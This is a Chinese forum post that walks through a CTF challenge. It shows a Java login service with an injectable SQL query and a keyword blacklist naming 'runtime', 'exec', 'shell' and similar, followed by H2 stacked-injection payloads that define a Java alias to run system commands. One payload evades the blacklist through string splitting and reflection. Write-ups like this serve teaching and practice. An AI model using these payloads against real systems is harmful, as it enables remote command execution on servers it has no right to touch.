CTF-web:java-h2 堆叠注入rce -- N1ctf Junior EasyDB

[复制链接]
发表于 2025-10-31 07:23:17 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
代码存在sql注入
  1.     // 处理登录表单的POST请求
  2.     @PostMapping({"/login"})
  3.     public String handleLogin(@RequestParam String username, @RequestParam String password, HttpSession session, Model model) throws SQLException {
  4.         // 验证用户凭据
  5.         if (this.userService.validateUser(username, password)) {
  6.             session.setAttribute("username", username);  // 将用户名存储在会话中
  7.             return "redirect:/";  // 验证成功,重定向到首页
  8.         } else {
  9.             model.addAttribute("error", "Invalid username or password");  // 添加错误消息到模型
  10.             return "login";  // 返回登录视图
  11.         }
  12.     }
复制代码
  1. // 声明一个方法来验证用户的凭据
  2. public boolean validateUser(String username, String password) throws SQLException {
  3.     // 使用格式化字符串构建SQL查询语句
  4.     String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);
  5.    
  6.     // 检查生成的查询是否安全,防止SQL注入
  7.     if (!SecurityUtils.check(query)) {
  8.         return false;  // 如果查询不安全,返回false
  9.     } else {
  10.         Throwable var8;  // 声明一个Throwable变量,用于异常处理
  11.         // 使用try-with-resources语句自动管理Statement资源
  12.         try (Statement stmt = this.connection.createStatement()) {
  13.             // 执行SQL查询
  14.             stmt.executeQuery(query);
  15.             // 获取结果集
  16.             ResultSet resultSet = stmt.getResultSet();
  17.             Throwable var7 = null;  // 声明一个Throwable变量,用于捕获异常
  18.             try {
  19.                 // 检查结果集是否有下一条记录(即用户是否存在)
  20.                 var8 = resultSet.next();
  21.             } catch (Throwable var31) {
  22.                 var8 = var31;  // 捕获异常
  23.                 var7 = var31;  // 将异常赋值给var7以便后续处理
  24.                 throw var31;  // 重新抛出异常
  25.             } finally {
  26.                 // 确保结果集在使用完后被关闭
  27.                 if (resultSet != null) {
  28.                     if (var7 != null) {  // 如果有异常,处理异常
  29.                         try {
  30.                             resultSet.close();  // 关闭结果集
  31.                         } catch (Throwable var30) {
  32.                             var7.addSuppressed(var30);  // 将异常添加到已捕获的异常中
  33.                         }
  34.                     } else {
  35.                         resultSet.close();  // 正常关闭结果集
  36.                     }
  37.                 }
  38.             }
  39.         }
  40.     }
  41. }
复制代码
SELECT * FROM users WHERE username = '%s' AND password = '%s'
  1. // 定义一个名为SecurityUtils的公共类
  2. public class SecurityUtils {
  3.     // 使用HashSet存储不安全的SQL关键字,避免SQL注入攻击
  4.     private static final HashSet<String> blackLists = new HashSet<>();
  5.     // 默认构造函数
  6.     public SecurityUtils() {
  7.     }
  8.     // 检查给定的SQL语句是否包含黑名单中的关键字
  9.     public static boolean check(String sql) {
  10.         // 遍历黑名单中的每一个关键字
  11.         for (String keyword : blackLists) {
  12.             // 将SQL语句转换为小写并检查是否包含黑名单关键字
  13.             if (sql.toLowerCase().contains(keyword)) {
  14.                 return false; // 如果发现关键字,返回false,表示SQL不安全
  15.             }
  16.         }
  17.         // 如果没有发现黑名单关键字,返回true,表示SQL是安全的
  18.         return true;
  19.     }
  20. }
复制代码
  1. static {  
  2.     blackLists.add("runtime");  
  3.     blackLists.add("process");  
  4.     blackLists.add("exec");  
  5.     blackLists.add("shell");  
  6.     blackLists.add("file");  
  7.     blackLists.add("script");  
  8.     blackLists.add("groovy");  
  9. }
复制代码
使用堆叠注入rec,其标准使用情势如下
  1. CREATE ALIAS EXEC AS '
  2. String shellexec(String cmd) throws java.io.IOException {
  3.     Runtime.getRuntime().exec(cmd);
  4.     return "su18";
  5. }';
  6. CALL EXEC('command');
复制代码
按如下方式绕过waf
1.将被过滤的字符串拆分
2.Class<?> 声明通用范例的 Class 对象,使用Class.forName动态加载类赋值
3.由于过滤了runtime,使用getMethod将Runtime.getRuntime方法反射后调用,如允许以不使用Runtime.getRuntime().exec(cmd)
  1. CREATE ALIAS evil AS $$
  2. void jerry(String cmd) throws Exception {
  3.     String R = "R" + "untime";
  4.     Class<?> c = Class.forName("java.lang." + R);
  5.     Object rt = c.getMethod("get" + R).invoke(null);//实例化
  6.     c.getMethod("exe" + "c", String.class).invoke(rt, cmd);//rt.exec(cmd)
  7. }
  8. $$;
  9. CALL evil('command');
复制代码


  • $$...$$ 是一种用于界说 字符串常量 或 函数体 的 定界符(delimiter)。它允许你在字符串或函数体中包罗引号、换行符和其他特殊字符,而无需对这些字符举行转义。
  • invoke 方法用于调用获取到的方法。它的第一个参数是方法的调用者对象,第二个及以后的参数是方法的参数。
参考

2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog
JDBC-Attack 使用汇总 - Boogiepop Doesn’t Laugh
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表